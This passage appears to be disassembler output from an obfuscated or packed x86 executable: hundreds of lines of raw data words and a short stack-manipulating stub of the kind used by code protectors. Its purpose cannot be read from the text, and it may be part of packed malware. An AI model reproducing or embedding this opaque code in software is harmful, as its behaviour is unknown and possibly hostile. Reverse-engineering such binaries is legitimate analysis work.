		dd 0FBBB31EDh, 4E9DFC69h, 25000000h, 971EA33Eh,	700DB0C8h
		dd 6CF336DAh, 3EC87DDDh, 2A19B654h, 3EC87DD3h, 0AB0D6446h
		dd 0A92CAF12h, 1886B023h, 0D55EB868h, 3EC88204h, 649ED5Bh
		dd 0C882C089h, 46E95F3Eh, 99452C03h, 0C882C31Ah, 0AA289E3Eh
		dd 2B993D0Dh, 87h, 22A73EA5h, 5FFA149Bh, 0E75DC4F5h, 27CAA54Eh
		dd 0FDA0CFA4h, 4A25BA59h, 0A1350EA7h, 58C72CA1h, 0AB78ABC6h
		dd 0BB8F28CFh, 6A9C61Bh, 9F2AAF63h, 0BB0D971Ch,	38CE3D0Eh
		dd 700FDEB5h, 737C77D0h, 0B2BC37D0h, 7E797A13h,	0C6B142DBh
		dd 53C08A23h, 2A47CCA3h, 0E260EA83h, 1B981D20h,	0CD0A9BC2h
		dd 9D87279Dh, 0E0E970D2h, 834CD65Dh, 8D083728h,	93728B08h
		dd 770DD368h, 6893EBF2h, 0D0A986D3h, 4B07A729h,	3E141ABDh
		dd 169B22A7h, 48D2C49h,	3EC87DF5h, 0F877FE8Ch, 3EC87DE1h
		dd 0E3660A80h, 0EA65D65Ch, 821BA9C4h, 44E38671h, 0A0473201h
		dd 640CEB00h, 16751EDFh, 55D371C7h, 0E0A8BB8h, 0C58021CCh
		dd 8C2FE437h, 26526E0Dh, 0B7610583h, 4A4433B8h,	0D2E17E2Bh
		dd 170BA587h, 63781799h, 9F54F194h, 0FE99DACCh,	0CE67E961h
		dd 8CBF923Ch, 0B7508800h, 2B8713BAh, 951AA138h,	0E9EC8D44h
		dd 0F409AD1Bh, 22B958FBh, 3015B255h, 58F59063h,	1BA04EF2h
		dd 0FD000000h, 4E411A6Fh, 0EE921DECh, 1BE86D68h, 0AAA03DD8h
		dd 0C87DD821h, 0AD51B73Eh, 0D91BFDC3h, 2552A13Eh, 0DF0EE582h
		dd 244CA740h, 0E20FE481h, 2851A23Bh, 0DC0FE481h, 234FA441h
		dd 0E610E37Ch, 5124AE47h, 0C181E189h, 4, 4BF57h, 0F9290000h
		dd 240C875Fh, 0E689565Ch, 4C681h, 0EE830000h, 24348704h
		dd 2434895Ch, 81E78957h, 4C7h, 4EF8300h, 5C243C87h, 81241C89h
		dd 4ECh, 243C8900h, 0A3698568h,	814F5F26h, 829E46F7h, 5FFE8920h
		dd 241C8B54h, 5104C483h, 8B9h, 52D90100h, 0BAh,	89CA0100h
		dd 8B595A32h, 8957241Ch, 4C781E7h, 83000000h, 3C8704C7h
		dd 348B5C24h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_53531C
; ---------------------------------------------------------------------------
		db 32h,	53h, 0FCh
		dd 0C6C210Eh, 0F6B825D2h, 30621FCh, 42E0FFC5h, 715160C3h
		dd 9F3AF5CEh, 0EE0E5B73h, 5B369258h, 3F67C518h,	0CF200655h
		dd 0BB3E2659h, 0C33D4BFDh, 82155449h, 217DE420h, 0E957AC5Eh
		dd 0EDh, 0D88C6660h, 840F04A8h,	0DFh, 715B58Bh,	0FE83061Bh
		dd 22850F00h, 0C6000000h, 1B239D85h, 69684506h,	0FF8E7269h
		dd 1B2BF9B5h, 46858D06h, 0FF061E70h, 0BD8589D0h, 8B061B2Fh
		dd 0E93E80F0h, 31850Fh,	858D0000h, 6206B80h, 0BD8BD0FFh
		dd 61B22B1h, 1184C781h,	0B58B0000h, 61B0715h, 8B9F787h
		dd 0F3000000h, 15B58BA4h, 8D061B07h, 1F219F85h,	8BD0FF06h
		dd 1B25F5B5h, 0FE8306h,	22850Fh, 85C60000h, 61B239Dh, 0BEF46854h
		dd 0B5FFFF4Eh, 61B2BF9h, 7046858Dh, 0D0FF061Eh,	25F58589h
		dd 0F08B061Bh, 0FE93E80h, 3A85h, 0F5B58B00h, 8D061B25h
		dd 206B8085h, 8BD0FF06h, 1B22B1BDh, 84C78106h, 83000011h
		dd 0B58B08C7h, 61B25F5h, 8B9F787h, 0F3000000h, 0F5B58BA4h
		dd 8D061B25h, 1F219F85h, 61D0FF06h, 0D7858DC3h,	890621FDh
		dd 1B126585h, 8EB06h, 86000000h, 0E9712DCAh, 4A1h, 21FFC168h
		dd 7F3EE906h, 4068FFF9h, 0E9062200h, 0FFF97F34h, 2201B268h
		dd 7F2AE906h, 4E1EFFF9h, 0AFBF14B3h, 609A7110h,	0B2C116B9h
		dd 96637817h, 772D50EFh, 0D9781F5Ah, 0B453F602h, 10AF4E1Fh
		dd 0B659FCFBh, 0FB028104h, 9638E983h, 0DE1BEDD5h, 1A559E37h
		dd 3AB85320h, 0DDDE6397h, 786308EBh, 0F97CFEEAh, 0D2C4A77Ch
		dd 0E16906A1h, 0E484C65Fh, 0F54C515Fh, 2B441BC4h, 8A54431h
		dd 2420C042h, 0A73A09A6h, 50C72C8Ch, 0BB319BB6h, 9DFC69A2h
		dd 2BEh, 0D3549C25h, 3BB83B8Eh,	0C4F559C5h, 50FBF056h
		dd 0C44A4602h, 0B4379227h, 0CD710CDFh, 26FF058Ah, 0A80388Ah
		dd 0B514A96Dh, 0EDCDB12Eh, 0E4623290h, 0E261E461h, 0CE816F1Bh
		dd 9B701076h, 0C116B95Ch, 0CC4313B6h, 0BA404F5Dh, 326E5F5h
		dd 1A5A0000h, 0EB0BE07Fh, 1C56AD4Ch, 0EEFDD275h, 521FB453h
		dd 33690CABh, 8D2CD39Eh, 38D77A76h, 9433D2A3h, 0EA8D303Fh
		dd 7D65DF8h, 5A38E982h,	0A73EB191h, 99169B22h, 3EC87D40h
		dd 4205A91Fh, 0EA7C0EBDh, 1F4C21C4h, 0E15FEB84h, 0C56C855Ah
		dd 0FDA4CD22h, 6A57E560h, 0DE49CEE8h, 38BA5596h, 3B4F9398h
		dd 4A19C716h, 0A2217F2Ch, 0AAB41445h, 84738828h, 0A8080DE1h
		dd 0B57A49D8h, 2A725h, 0FE99DB00h, 0CB6A845Bh, 0F49BD72Ch
		dd 0D26D7E55h, 0FAA1D82Fh, 0E1F0F257h, 39CE7118h, 0E6FD9C3Fh
		dd 32C96807h, 0CBFFA245h, 7D32CB48h, 5C4D38EAh,	1DA73EE6h
		dd 0C87D4796h, 4AA30A3Eh, 24648E11h, 1DA022A8h,	0EAEF7596h
		dd 0C562E8C4h, 16E97B7Eh, 77FAA4C7h, 8B4DB844h,	52EB8E6Ah
		dd 6C7A6CF8h, 3AB26C0Ch, 1CFC634Ah, 186h, 0FC9BDAA9h, 0DC1BD65Ch
		dd 7D2EAF34h, 0EE83EC8h, 0D355F36Fh, 1BBEB93Ah,	96338A7Ch
		dd 597A900Fh, 8FF5C4F5h, 0A1884DF6h, 8775C72Ch,	91E65EC8h
		dd 5970FC69h, 0D2000000h, 0FF14A73Eh, 442869ECh, 78770650h
		dd 2CF15AECh, 0DE771657h, 0E867EE6Ch, 0C4F4A8CAh, 54A52A95h
		dd 2BC72CA9h, 0C1821B9Dh, 0C72CA93Ch, 65D662E9h, 8E4FD479h
		dd 0E1C72CDCh, 5A4D763h, 9635411Ah, 0DF4908F2h,	0FC68F069h
		dd 0C2EFh, 54DB5600h, 0C72C4E85h, 84CA6EDCh, 0AF34DC1Bh
		dd 3EC87D2Eh, 0A845C341h, 0FD822E4Bh, 3EC87DFCh, 0DA73F593h
		dd 0A23BDE19h, 0E4832651h, 0C87AB85Fh, 0E285723Eh, 0D76EFA3Fh
		dd 0A52F8D5Bh, 0EA6FA145h, 53D95CDFh, 65946214h, 0E86D112Ah
		dd 3B093F5Bh, 461DA026h, 5FE28629h, 0BA7456E2h,	1CA6ACDCh
		dd 0D661FA77h, 3ADE5C40h, 8225CCA5h, 5BD8846Dh,	0C72A0A82h
		dd 15E967DDh, 49E43B0Eh, 3503D758h, 69000001h, 0BA51F08Bh
		dd 657A1DBCh, 0AC43E68Dh, 6E8524BFh, 183DDC83h,	7B224F82h
		dd 46E907DCh, 82214CA3h, 4CEF08DFh, 159A39ADh, 38EA7CC4h
		dd 6DF0D29Bh, 19B65996h, 81788D31h, 0D7A037DAh,	1B8D9534h
		dd 579C39DCh, 20D27518h, 26AD3099h, 0C4F4B2E6h,	7FEAFD79h
		dd 0E37C1F59h, 0CCABDB67h, 4F24A729h, 0E0F97622h, 7FC72C79h
		dd 63E88709h, 0C72C799Eh, 1DBC5F98h, 6B04ABC6h,	0B76Fh
		dd 0A73EE900h, 7C0D9B22h, 5A14F4E4h, 0F47BBE62h, 0C4EAA1CBh
		dd 0DA817847h, 3A35FA36h, 0CE4CFE97h, 2C3F1431h, 0DF18ED91h
		dd 29469D3Ch, 0E5AE986h, 0F84E26E9h, 31C25B02h,	109A645h
		dd 0B94E7CD3h, 2AA7DA75h, 0ED761D55h, 0BC076BECh, 7A830083h
		dd 15BC076Bh, 788D31AFh, 0A63DDC7Fh, 0FEA1CFC9h, 0E467E961h
		dd 993DE00Fh, 0E5807380h, 0C564915Eh, 0BAACB28h, 0BA50E98Dh
		dd 8F12450Ch, 76BC910h,	0ABCBA8BCh, 59D7730Ch, 0B45720B5h
		dd 0B7B1BE15h, 0D07A13BAh, 0FAF4CB52h, 0C446ED04h, 15CF0B24h
		dd 4C000000h, 5DFCFAC9h, 0F8018AC0h, 97BC076Bh,	7E1D5831h
		dd 0BC8654DAh, 0A13ED91Bh, 0E5822552h, 0A740DF0Eh, 0E481244Ch
		dd 0A23BE20Fh, 0E4812851h, 0A441DC0Fh, 0E37C234Fh, 0AE47E610h
		dd 766B6824h, 1C890000h, 0E0895024h, 405h, 4E88300h, 5C240487h
		dd 68243C89h, 1ECDh, 53242C89h,	2A2BE5BBh, 0D518BF11h
		dd 0DF31170Bh, 81241C8Bh, 4C4h,	4EC8300h, 83242489h, 5D042404h
		dd 0F9895150h, 8959C889h, 8B580845h, 8956242Ch,	4C681E6h
		dd 83000000h, 348704C6h, 34FF5C24h, 0C4815F24h,	4, 0F97AABE9h
		dd 96AC0AFFh, 30CB884h,	0C5030622h, 0F6CCE0FFh,	0C9D4148Dh
		dd 0D5E061E0h, 25FC4564h, 0A8055A69h, 0B0985D24h, 0CBCA693Ch
		dd 8BDC5DD6h, 4E032464h, 45273DA7h, 0D09E6ACAh,	1525074h
		dd 0AE412CF1h, 613D2706h, 60B067F3h, 347D0CEDh,	92024B62h
		dd 42BD68A6h, 95C52873h, 21495E16h, 4D391FBCh, 6B2F5F5Bh
		dd 0F59364ECh, 0F2E0656Fh, 5C8519D0h, 7DD55F0Eh, 4EB769Ch
		dd 72BBB6A7h, 52FE9h, 0B24D1F00h, 5FFEF80Fh, 0A84F2BC0h
		dd 6601F209h, 9E452CC3h, 8D4456FBh, 0C51ABD64h,	926908ABh
		dd 0CE25C463h, 675BFEA1h, 7E9667ECh, 0E938EAh, 57966D42h
		dd 8B2B1FB8h, 39D67976h, 7918BFBAh, 55F29562h, 0EFEE75F0h
		dd 823EC87Dh, 552E2FF6h, 9513939Dh, 7013DCF1h, 36D916EDh
		dd 7C7A7992h, 0C7B340DDh, 910FAAC9h, 4DF0FFF4h,	3ED77E74h
		dd 0AB18BBB5h, 0B14674FBh, 0E0AFE26Dh, 6CDE7716h, 953837CCh
		dd 7110DDF2h, 9D3C39CEh, 6205F300h, 0D89745C5h,	0E4832253h
		dd 0A03DE00Fh, 0FDA4CEA5h, 146EA60h, 3EC8F9FBh,	3F72FDA9h
		dd 4BE48770h, 2FA55FFFh, 29028536h, 71h, 0E2DC1B99h, 6ED77017h
		dd 0C87DE8F1h, 7F01873Eh, 1CDF6401h, 843EC87Dh,	0F76DD79Ah
		dd 610284B1h, 1, 3CDB1BE1h, 872650A3h, 6F8857EEh, 771733CCh
		dd 0CC9F9162h, 73A89431h, 1E07F56Dh, 0F67DFB7Dh, 5A95029h
		dd 4C230B2Ch, 7C03A7C7h, 3EC8637Dh, 71F47614h, 0F0792DEBh
		dd 3EDC6803h, 0AE35B865h, 3EC8D82Fh, 524C442h, 0BB5E01EEh
		dd 37DE1B73h, 7A19559Eh, 0B0531CF3h, 8D5E3317h,	66F54EF2h
		dd 0BB3259DFh, 0D4F89A2h, 2BB0BF69h, 0F308A74Eh, 4EDA6104h
		dd 502811FBh, 0AA3A10ADh, 70894C22h, 9C1E2CC9h,	9F2223FCh
		dd 0C819D920h, 0C252B83Eh, 48FD0787h, 55AA4E61h, 20EF761Dh
		dd 3119B655h, 502EB48Dh, 4A319701h, 82270285h, 9E000000h
		dd 7E254C23h, 19E069E1h, 783EC8E1h
		dd 1BE86E12h, 559E37DEh, 5ED9761Dh, 898D71F7h, 0A58F2FD5h
		dd 0D3581701h, 8B60FFA6h, 0BC3DC26Eh, 0CC3EC8B6h, 0C8B6B647h
		dd 0BF3BC93Eh, 0C52EC749h, 70720BA6h, 22BB38BDh, 3D3EC8B6h
		dd 48E58870h, 36E08002h, 7F4BB11Bh, 4C2D0285h, 95000000h
		dd 0B437DE1Bh, 0C66C2228h, 0FC9C1E26h, 6A5D023h, 0D8978569h
		dd 0FC7F2653h, 0AA34A27h, 0D66F0AE9h, 0B352F674h, 57966D6Bh
		dd 0A82B1FB8h, 0C87DD22Bh, 7717AD3Eh, 58F59462h, 0C87D11EBh
		dd 0CCA37F3Eh, 84B1EA62h, 16C02h, 6DD60000h, 3CDB1BE8h
		dd 0C87D26B7h, 2CAD323Eh, 433EC87Dh, 1FBF45C5h,	6C09B0CAh
		dd 28C56887h, 0EA1D34E2h, 12E3D915h, 7C51F573h,	0C3EFC176h
		dd 34B84297h, 5ADF13B6h, 0AD67EC6Fh, 0AEC4F536h, 4BC67F18h
		dd 2D2A35C4h, 0DD5A3CC7h, 0C67ABEh, 8D620684h, 0CB20BF62h
		dd 0D76C09ACh, 0C72D3F04h, 0C74C23F9h, 0DF6205A8h, 3F1CDD62h
		dd 0D573C72Dh, 30D39C31h, 0A533AE97h, 55A9B441h, 57A62B84h
		dd 1AC72DD9h, 83BF84Dh,	88FE7EA3h, 41E413E8h, 410EB7A4h
		dd 51F99635h, 67EC83ADh, 0BD648E88h, 9A82A20h, 6A4ED70Dh
		dd 13281FCh, 3E010000h,	47961DA7h, 1A3EC87Dh, 2AA72EACh
		dd 59201A55h, 0B39730B2h, 53400E13h, 7513C4F5h,	0E2DC1BD8h
		dd 4FF27017h, 831CBFB8h, 5D04EDC2h, 11E68AC0h, 5EEC35E6h
		dd 0FAA97C94h, 0D97CDF78h, 64FFC453h, 0C363F8F3h, 0CE31659h
		dd 0A5A542E1h, 5B03EC01h, 2C4C05D4h, 6CEE5CC7h,	0E31B51CDh
		dd 4A3DFC68h, 0C5000000h, 0B55C966Dh, 1456DF11h, 36BD3BDAh
		dd 0C87D90B9h, 5CF98F3Eh, 378216E7h, 0C33E01C1h, 3782BD3Ch
		dd 5D36D4C1h, 0E54FEF92h, 0DD8D288Ah, 7AD06D14h, 0CAE775F8h
		dd 1402AE15h, 0CE55D878h, 0C13771BFh, 457514B2h, 84h, 22A73EBBh
		dd 5FFA149Bh, 0DB56C4F5h, 2CA28554h, 0CA6EDCC7h, 945FF88Eh
		dd 0C219B85Bh, 0CE7512B5h, 0C72CA10Ah, 0CD521DFFh, 0AE60FFA2h
		dd 0A62BB217h, 2CA3D029h, 7519AFC7h, 0A7BD2DB2h, 14B23D0Eh
		dd 0AE360B91h, 0C15EFDF9h, 0FAE9F989h, 5E9F24A7h, 31CD0A48h
		dd 2B1AF393h, 5DED659Dh, 21C59C4Fh, 6700A3CCh, 94F679A3h
		dd 2AF97C4Dh, 3B0FA84Fh, 0D31B989Bh, 8C3728A5h,	52D65BFEh
		dd 0D7DEDE46h, 75BB5BC2h, 9B22A73Eh, 0EA79D414h, 820184C4h
		dd 0C715817Bh, 8149900Fh, 0A228C715h, 4804A422h, 0A1CE25C2h
		dd 6B845BFEh, 18142FC8h, 0AA53AFC0h, 8F68ED84h,	0B9B64DECh
		dd 56098F16h, 3AD91509h, 6C1DAD9Dh, 75CE72AAh, 0ADC46D7Eh
		dd 0ACA95BC8h, 0A009D1Bh, 0E71095DCh, 25A0A544h, 8C285F9Eh
		dd 0F49432BBh, 0D06D10DFh, 0D0Ah, 0C1AC8300h, 816E8522h
		dd 76BC5CDEh, 0D91BBC86h, 2552A13Eh, 0DF0EE582h, 244CA740h
		dd 0E20FE481h, 2851A23Bh, 0DC0FE481h, 234FA441h, 0E610E37Ch
		dd 5724AE47h, 0C781E789h, 4, 3304EF83h,	3C31243Ch, 243C3324h
		dd 62BC685Ch, 4890000h,	0E6895624h, 4C681h, 0EE830000h
		dd 24348704h, 2414895Ch, 8904EC83h, 0FCBE2434h,	89062203h
		dd 8B545EF0h, 0C4832414h, 0B9515004h, 304B6FA6h, 4244C31h
		dd 8428F59h, 0A6087281h, 0FF304B6Fh, 835A2434h,	48B04C4h
		dd 0E6895624h, 4C681h, 0C6810000h, 4, 5C243487h, 0F974FFE9h
		dd 5D33C4FFh, 2208AAB8h, 0FFC50306h, 656EE0h, 22ED2E43h
		dd 59EDEE69h, 59B7F46Ch, 76AB3E41h, 54D7E56h, 1D8B7848h
		dd 0BBAF0E65h, 0BF268571h, 869B331Dh, 0C9BE4C4Eh, 0C7EF725Dh
		dd 7285CA37h, 49792E21h, 0EA111218h, 0A446692Eh, 3168BC3Bh
		dd 6CF8153Ch, 0F886DE12h, 12E808h, 1DEF0000h, 0E98EB612h
		dd 120BB4F2h, 175C10C4h, 26C7F997h, 8059C68Ah, 0C18144DCh
		dd 70B1h, 5C29E381h, 0F62B249Ah, 34FFFA8Ah, 14E80Eh, 6FEF0000h
		dd 0A81B18CEh, 2DE42156h, 0EF3C1C6Fh, 29E9C702h, 880F0101h
		dd 3, 5ADE8B66h, 8B66605Fh, 61F08BFAh, 817F781h, 0B8666CD1h
		dd 0C781CAA9h, 5E17534Dh, 9F1E57B8h, 0DDC7815Ah, 8978F4DDh
		dd 8EB3313Ch, 66DA8A60h, 8161D18Bh, 977709EEh, 81D18B6Ch
		dd 977705C6h, 0B0BB666Ch, 1CFE81BEh, 0FFFFF90h,	1485h
		dd 1890F00h, 0F5000000h, 2AE9h,	0E389D400h, 557D15D5h
		dd 0E9F8607Eh, 10h, 0F61485E9h,	381EEBF7h, 0DEEB9D7h, 19532515h
		dd 0FF5CE961h, 6672FFFFh, 8D9433EDh, 220B368Dh,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 0D6843171h, 45BD8B74h, 89061B0Ah, 1B24298Dh,	50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 8091DE4h, 97842006h,	76585C7h, 5AC4061Bh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 899305C3h, 1B29CD85h, 0D185C706h, 61B13h, 0E8000000h
		dd 0Fh,	401FDA83h, 56182393h, 0AC80E1D1h, 81A5C844h, 0B54EF1D2h
		dd 0B5FF5A17h, 61B005Dh, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 19h, 4C35242h, 43ECF464h, 8595FF8Ch, 56061B2Fh
		dd 5F67C380h, 95FF006Ah, 61B2205h, 39EBC08Bh, 0AE9BC86Ah
		dd 0A68E000h, 716068C6h, 0B0586CADh, 0ECE4D0Eh,	0CEF54E83h
		dd 2122D4C6h, 5208DF8h,	0FD44FF24h, 99345900h, 7867FE89h
		dd 7778CD31h, 0C96C8C5Ch, 7B04CE23h, 8704EB99h,	0E9725B3Ah
		dd 0D15h, 220D7A68h, 729EE906h,	5568FFF9h, 0E906220Eh
		dd 0FFF97294h, 22108568h, 728AE906h, 9368FFF9h,	0E9062211h
		dd 0FFF97280h, 2214EB68h, 7276E906h, 2F68FFF9h,	0E9062216h
		dd 0FFF9726Ch, 2216FE68h, 7262E906h, 1656FFF9h,	0E707DC7Bh
		dd 2852A948h, 0EA09DE81h, 1E5BB04Fh, 6F75D877h,	51F09762h
		dd 7C1BBEBAh, 48E78667h, 7E21C4B3h, 0B34AC94Ch,	0CE38EA76h
		dd 0DC1B65DDh, 18579C39h, 5421EE75h, 0FBF811B5h, 31C25BFAh
		dd 0EB08A544h, 7AD06D08h, 0A72CD8A1h, 3EC87D56h, 801D9B29h
		dd 90155C8Ah, 2228C568h, 0D65BE2A0h, 0C87D8059h, 0C569DF3Eh
		dd 608F145Bh, 0ACC51ABDh, 0ADAAFCF7h, 0C8EED726h, 901CAA3Eh
		dd 69E7B7D7h, 0A34631C6h, 0DF1EA520h, 0A23EC89Dh, 0B27D3307h
		dd 0DE6CE8DBh, 0D864E13Ah, 9CDE8C7Ah, 149B22D9h, 3EC8ACC5h
		dd 758A2E9Ch, 0D776807Ah, 7EAFFA4Bh, 789B515h, 9A2FB668h
		dd 8C138E13h, 3EC8304Dh, 7B224F24h, 36D459FDh, 29C4F514h
		dd 0BC41029Bh, 69C72D54h, 124AB4BBh, 44FC69DFh,	45h, 27B844C1h
		dd 3185C9C0h, 946776FBh, 8CFAC72Dh, 0A73E66ECh,	7D47961Dh
		dd 0B2C13EC8h, 50CC7E17h, 88D5E0ACh, 35B37CC3h,	0F1B330B3h
		dd 6AC4F413h, 0FD0043DCh, 2AC72DF1h, 558BF57Ch,	3FC6A3Eh
		dd 0C8h, 6BE86D7Fh, 3EC87D92h, 52F900EDh, 731395B5h, 51EE915Eh
		dd 9730D7A2h, 57F0935Ch, 9130D39Ch, 0C87A16CAh,	5096223Eh
		dd 0BE5B38D5h, 40ABC8BDh, 0F2705FAEh, 1BBEB94Eh, 47961D98h
		dd 1AC137E5h, 0D62D0CACh, 0BD59F699h, 951AA128h, 3B0ACB27h
		dd 37C64DB8h, 4AC72C17h, 679B3EBCh, 0EF74F7D2h,	3D12B159h
		dd 33B93CCAh, 217442F4h, 6EB1557Ch, 0B523D8A1h,	78DFB1D3h
		dd 0FB6BC95h, 0B356D476h, 0DAAE551Ch, 43C019B7h, 6ADEFC91h
		dd 0A100000Ah, 429938D3h, 0DDF29534h, 34CB6E15h, 0E6FD9C37h
		dd 0A0C5640Bh, 0F39AD7FAh, 0CE717F54h
		dd 0FA99D42Bh, 0D4778057h, 7D028135h, 38EA707Ch, 1BA81A13h
		dd 439837DEh, 68EE9134h, 926BE86Dh, 0ED3EC87Dh,	8E4FD457h
		dd 0E13EC87Dh, 0C51C363h, 0FBB936BDh, 64C4F4AEh, 3FC15C8Fh
		dd 0B2589DA6h, 0D7C5C72Ch, 80B62E98h, 0B1A0FC69h, 22000000h
		dd 9C39DC1Bh, 0F16E1A57h, 3EC87DE8h, 0E67F0187h, 0C87AB95Dh
		dd 0D77A753Eh, 0DAD4A338h, 0ED5DFA9Dh, 0A33CD714h, 8A8C29A7h
		dd 0CB129133h, 0A6C13786h, 941BA220h, 3B0AA826h, 29B02FB2h
		dd 48C72CB0h, 0A4221EC2h, 0FDCC1105h, 1528F976h, 51B73D12h
		dd 55FCF5CAh, 55F401CEh, 31CE757Ch, 41967519h, 98BD9138h
		dd 0AA43C172h, 98FF5E5h, 0A6C60000h, 57976C0Bh,	0B8C219B8h
		dd 5A996E11h, 0AECB20BFh, 0DF056807h, 0C16007F2h, 0CAB4E2Ah
		dd 0B857F6F7h, 0EB15423h, 23BA39DCh, 3E38EA73h,	0DE1BD56Dh
		dd 0D928B437h, 463A9F7Eh, 667D9C3Ch, 0FB43E689h, 9C39DC1Bh
		dd 0D2751857h, 0D873804Fh, 7DEEF338h, 0EE7A3EC8h, 0A6D01E53h
		dd 0B9757B07h, 7D7A8F2Fh, 0EFD489CCh, 25A3B6D1h, 0DF826D82h
		dd 1FC2AD46h, 0AFF5109Ch, 8BA7197Bh, 5D0952EBh,	0BF628D12h
		dd 506EE620h, 915E0285h, 0DF866C66h, 0E9860446h, 0F104BD61h
		dd 7E000000h, 961DA73Eh, 3EC87D47h, 7D4D8C13h, 0A6243EC8h
		dd 8D2C4926h, 3D85AF0h,	50D355F0h, 0BFB947D5h, 457CCF3Dh
		dd 0C6729CA1h, 7F05C4F5h, 5DE25FE6h, 0C72DDA9Ch, 4FF2FEF3h
		dd 0D5282DD1h, 42C72DDAh, 2DA30D64h, 0A1FC6A5Dh, 0EF2E871Bh
		dd 8F2F474Dh, 9B56h, 5229AF00h,	55A42B92h, 2CC72DD6h, 5F180E9Eh
		dd 6B34FA9Eh, 3EC87D91h, 199C2DB4h, 0F544D89Ah,	620583C4h
		dd 8766648Dh, 78CD6AE8h, 0FFBA69F4h, 0C0B8588Dh, 48CA801Dh
		dd 46DF8673h, 2BB26404h, 0D698179Eh, 823D11D7h,	861FC2ADh
		dd 9D2824C4h, 126C716h,	953441CDh, 2FD252F8h, 12629B0h
		dd 40C248CDh, 8E643BC2h, 5CFC4EE7h, 76FD78BDh, 0CD012667h
		dd 963D35FAh, 8E5F7414h, 79C056EFh, 7B48CD50h, 0DC6CC7Dh
		dd 0BA183C32h, 0C9939838h, 0A2373C64h, 3D558524h, 0AB000005h
		dd 981DA73Eh, 0C87DC21Bh, 0A2279D3Eh, 3EC87D5Bh, 0CB52D036h
		dd 0DD7C7946h, 4FA6F439h, 0CB39C4F5h, 92CC1132h, 4B39C72Ch
		dd 0A5229A04h, 934FC69h, 8E000005h, 59E0599Ch, 0BD3BDE19h
		dd 5947B936h, 72D8C4F5h, 722ED279h, 653A98EAh, 0AA49E68Dh
		dd 0B8922BCEh, 0DD64963Ah, 17EC69ECh, 0B09A33DAh, 7414B10h
		dd 6CDA94EBh, 16E76CE9h, 5974CC01h, 2C3CB8CCh, 0DC6AEA19h
		dd 0AE33E33Ch, 8E0CA7C4h, 2ECF8807h, 0B4528EEDh, 0F2956231h
		dd 9069E66Bh, 0EF7D2E2Eh, 8156B559h, 0F803D376h, 0C6F3E00Bh
		dd 75FF1E9h, 56960000h,	0A7C71CBBh, 68926908h, 0AAC91EC1h
		dd 5E9B700Fh, 0AF3518B7h, 11B05722h, 0BC5BFEFAh, 8A74627h
		dd 0BE6104F3h, 0F30A890Ch, 8E38EA6Dh, 966D259Dh, 0BC11B55Ch
		dd 9F7710B3h, 0A72CAF1Ah, 0C4F55A45h, 9038400Fh, 2CA6CA13h
		dd 0A11FA5C7h, 61FCEF04h, 640486C4h, 4DB62E8h, 50A74AE9h
		dd 5AE98625h, 0C72CA683h, 2C9600D5h, 738350C7h,	6F0F3BD4h
		dd 5B9328BDh, 41914B33h, 0A11EA523h, 3D113297h,	0C2659261h
		dd 0BA4221Eh, 11AA538h,	9DB452CDh, 4E18BD33h, 688B11F6h
		dd 15CD5020h, 2414CD71h, 6E000000h, 23F9DF6Dh, 70000A6Dh
		dd 18B85F9Bh, 0E36A5FE6h, 0F54D465Ch, 12AB19C4h, 0F48F5C33h
		dd 326654h, 3EDC0000h, 149B22A7h, 0C4F55C2Ah, 0F89CD9A6h
		dd 2C9C627Bh, 987FDC7h,	0FE3ADE6Ch, 6549FF7Ah, 0A7290153h
		dd 0E2B1370Eh, 0F3948245h, 4CEF09E2h, 31F797B3h, 16E2DC1Bh
		dd 0F270DA73h, 658ED1Eh, 0E4F6B7B0h, 651h, 2ED16C88h, 5BFE9DD9h
		dd 28C76E84h, 6205A0D3h, 1ABD648Dh, 452CA537h, 0CE4FB9Eh
		dd 4431C669h, 2ED02A5h,	870EC05Fh, 0EA6CF108h, 239F9038h
		dd 9B22A73Eh, 0F54F2214h, 0B64FB5C4h, 0C8F323Dh, 5953837h
		dd 6D87AE1Fh, 60BF5FD0h, 60CF81DBh, 0A819A41Eh,	0A2D01509h
		dd 30B335D4h, 6C71C5B3h, 79804F16h, 0AFBE35D2h,	55D37710h
		dd 1A0175B1h, 0FF404AC0h, 589B34B6h, 27FC7F1Eh,	0A5D2A746h
		dd 4BBF5E02h, 0D350D3F6h, 88B71C5h, 4C8D128Fh, 1CF8AB58h
		dd 0AB584697h, 2FAB19F8h, 2B353B8Bh, 7CFE6A88h,	8323CAA7h
		dd 9FA441C7h, 0F8ABB05Ah, 2C96D9C3h, 0C8E882B4h, 8C2B4B18h
		dd 0FEB757F3h, 121h, 22A73E84h,	4F22149Bh, 0E1AEC4F5h
		dd 58D47417h, 0D19E55F2h, 7B748B2Eh, 76043FD8h,	0F41E6049h
		dd 0D5A2272Ah, 7F788F32h, 7F0243DCh, 51C9F900h,	8E3298ECh
		dd 1D13B3C9h, 155C8A35h, 43DE0DE2h, 0EB00A0AAh,	41E8120Ch
		dd 8524A6A4h, 41DE816Eh, 0AE338FD5h, 8604A831h,	0B841C795h
		dd 95860421h, 0C548CA40h, 86045F3Eh, 0B554F295h, 46CDFC41h
		dd 30C946CBh, 48958604h, 860432CBh, 3BB74D95h, 5E2429CDh
		dd 1A6FBB38h, 0EC892845h, 0B17EBA5Eh, 0C18926C5h, 224DA63Fh
		dd 0EC0BE07Fh, 0C56205F2h, 0AE9FCA77h, 60E2DE1Ch, 17FE45E2h
		dd 689BFBABh, 580B3BEh,	0FBAB7F7Eh, 0D474129Bh,	0C64DF0FFh
		dd 0D65DFCF9h, 0FBAB8059h, 0C569DF9Bh, 0E60CE366h, 0EB8E6A3Fh
		dd 70A9064Bh, 6BF60F8Ch, 531CB356h, 0FD2C17B0h,	5F745F4Ah
		dd 0FCFB80CFh, 5621B659h, 65FC1AB3h, 0DC62E164h, 0AF6E6286h
		dd 5497640Bh, 51CF5327h, 9BD4ABAEh, 0B389C5EAh,	17F02F5h
		dd 0E05FE664h, 9AB44A19h, 806E1278h, 6Dh, 5C966DDAh, 8E3218B5h
		dd 184459Ch, 0F575A082h, 46CD3BC4h, 85B544CBh, 3ECCC72Ch
		dd 85A138B7h, 4AC0C72Ch, 0EBB88DA6h, 3914590Eh,	0B3FCC384h
